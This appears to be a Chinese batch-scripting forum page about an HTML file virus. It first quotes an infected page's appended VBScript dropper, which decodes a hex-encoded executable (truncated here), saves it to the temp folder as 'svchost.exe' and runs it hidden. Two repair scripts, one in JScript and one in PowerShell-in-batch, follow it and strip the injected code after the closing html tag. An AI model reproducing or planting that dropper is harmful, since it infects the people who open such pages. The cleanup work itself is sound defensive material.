批处理之家 - Powered by Discuz! Board

<html>
<head>
</head>
<body>
……
</body>
</html>
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000000000000000000000000000000000000000008800000009DAF5C5C824EA25F0055C7EB55610FA4A9327840AEBC01BDC2284CB0C4F05B10EEBFE04A2BF7B2B5B9638…………73672393BE289A7D6A15B9C117D0F4BC102F4EE60C0000000000000000000000000000000000000000000000000000000000000000000"
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
//--></SCRIPT><!--??懔?図妽譨_9鯥歍x<+5皈┵sPq"古啭e"黳y6еR跤郙傩?啢?c皥昆y??瓗-k-?啍跪o玽9䅟V鑰芮︗.道Q趌幼d~?sk"扷X紃憴?A鈂檷炶?浏撍M}瓖_砢~岭_'椬?V??栜T'?; ki(1w?Jm牯廫\|+r劗穌纏?2騉M≥]@瘜b
NWA%菐%j毐N?/蹧?蕆3縁

复制代码

//name: FixHtmlVirus.js
//js codepage:ule
//fix html codepage:utf-8
main();
function main()
{
FixHtmlVirus();
};
//修复病毒感染的Html文件
function FixHtmlVirus()
{
var sInfo = '';
var sFolder = BrowseForFolder("请选择要修复的HTML文件夹(注意自行备份文件！)："); //获取用户选择的文件夹
if (sFolder == '')
{
WScript.Echo('提示：没有选择文件夹，程序退出。');
return 0;
}
var aFile = ScanFolder(sFolder); //获取文件夹所有文件夹、文件列表
for (var i=0; i<aFile.length; i++)
{
if (/^(.+)(\.html)$/i.test(aFile[i])) //过滤其他文件，只操作 *.html 文件
{
var html = ReadText(aFile[i]), html2 = ''; //以 utf-8 编码读取 .html 文件
var aHtml = html.split('\r\n'); //将读取的内容按行(\r\n)拆分成数组
var sEnd = '', sVir = '';
for (var j=0; j<aHtml.length; j++)
{
if (aHtml[j].toLowerCase().indexOf('</html>') != -1) // .html 文件尾部标记
{
aHtml[j] = aHtml[j].substr(0,2000); //限制长度，提高正则速度
sEnd = aHtml[j].replace(/^(.*<\/html>)(.*)$/igm, '$1'); //提取末行内容
sVir = aHtml[j].replace(/^(.*<\/html>)(.*)$/igm, '$2'); //提取部分病毒内容
aHtml[j] = sEnd; //修正末行内容
};
html2 += aHtml[j] + '\r\n'; //将修正后的内容提交到 html2
if (sEnd != '') //结束行
{
if (sVir != '' || aHtml.length - j > 2) //找到病毒
{
SaveText(aFile[i], html2); //保存修正后的内容
if (sInfo != '') sInfo += '\r\n'; //记录修正的文件路径
sInfo += aFile[i]; //记录修正的文件路径
};
break;
};
};
}
}
if (sInfo == '')
{
WScript.Echo('提示：没有文件需要修复。');
} else {
WScript.Echo('提示：以下文件已被修复：\r\n' + sInfo);
};
}
//文件夹选择对话框
function BrowseForFolder(sTips)
{
var BIF_returnonlyfsdirs = 0x0001;
var BIF_editbox= 0x0010;
var oShell = new ActiveXObject("Shell.Application")
var oFolder = oShell.BrowseForFolder(0x0, sTips, BIF_editbox + BIF_returnonlyfsdirs)
if (oFolder==null) {return("")} else {return(oFolder.self.path + '\\')}; //return(oFolder.items().item().path+'\\')
}
// 获取文件夹所有文件夹、文件列表(数组)
function ScanFolder(strPath)
{
if (strPath.substr(strPath.length-1,1) != '\\') {strPath += '\\';}
var arr=[];
var DO_SCAN_FOLDER=function(arr,folderSpec)
{
try {
var fso = new ActiveXObject('Scripting.FileSystemObject');
var oFolder = fso.GetFolder(folderSpec);
if (oFolder != null){
var oFiles = new Enumerator(oFolder.files);
for (; !oFiles.atEnd(); oFiles.moveNext()) arr.push(oFiles.item().path);
var oSubFolders = new Enumerator(oFolder.subfolders);
for (; !oSubFolders.atEnd(); oSubFolders.moveNext()) {
arr.push(oSubFolders.item().path + '\\');
DO_SCAN_FOLDER(arr, oSubFolders.item());
}
}
}catch(e){};
}
arr.push(strPath);
DO_SCAN_FOLDER(arr,strPath);
return(arr);
}
// 使用 utf-8 编码读写文本文件
function ReadText(FileName){ return Pfile(FileName, "utf-8", "ForReading", ""); }
function SaveText(FileName, TextString){ return Pfile(FileName, "utf-8", "ForWriting", TextString); }
function SaveWSH(FileName, TextString){ return Pfile(FileName, "Unicode", "ForWriting", TextString); }
function LogText(FileName, TextString){ return Pfile(FileName, "utf-8", "ForAppending", TextString); }
function Pfile(FileName, FileCode, strType, TextString){
var fso = new ActiveXObject("Scripting.FileSystemObject");
var objStream = new ActiveXObject("ADODB.Stream");
objStream.Type = 2;
objStream.Mode = 3;
objStream.Charset = FileCode; //不同编码时自己换,Chinese (Simplified) (GB2312),中文 GBK ,繁体中文 Big5 ,日文 EUC-JP ,韩文 EUC-KR,charset=UTF-8(国际化编码),ANSI,Unicode,unicode big endian
if (fso.FileExists(FileName)==true) {
objStream.Open();
objStream.LoadFromFile(FileName);
if (strType=="ForReading") TextString = objStream.ReadText();
if (strType=="ForAppending") TextString += objStream.ReadText();
objStream.Close();
}
if (strType=="ForWriting" || strType=="ForAppending") {
objStream.Open();
objStream.WriteText(TextString);
objStream.SaveToFile(FileName, 2);
objStream.Close();
}
fso = null;
objStream = null;
if (strType=="ForReading"){return(TextString)};
if (strType=="ForWriting" || strType=="ForAppending"){return(0)};
}

复制代码

@echo off
powershell /? >nul 2>&1||(echo;系统没有自带或未安装powershell&pause&exit)
powershell ^
function DelVirusCodes($htmlfile, $encoding){^
$text=[IO.File]::ReadAllText($htmlfile, [Text.Encoding]::GetEncoding($encoding));^
if($text -match '[\s\S]+^<\/html^>'){return $matches[0]};^
}^
^<# 指定以哪种编码读写html文件，如utf-8,gbk,gb2312,utf-16等^
具体支持的编码可参看https://msdn.microsoft.com/zh-cn/library/system.text.encoding.aspx #^>^
$cs = 'utf-8';^
ls . *.htm -r^|%%{^
write-host ('正在修复'+$_.FullName);^
[IO.File]::WriteAllText(^
($_.DirectoryName+'\New_'+$_.Name),^
(DelVirusCodes $_.FullName $cs),^
[Text.Encoding]::GetEncoding($cs))^
}
pause

复制代码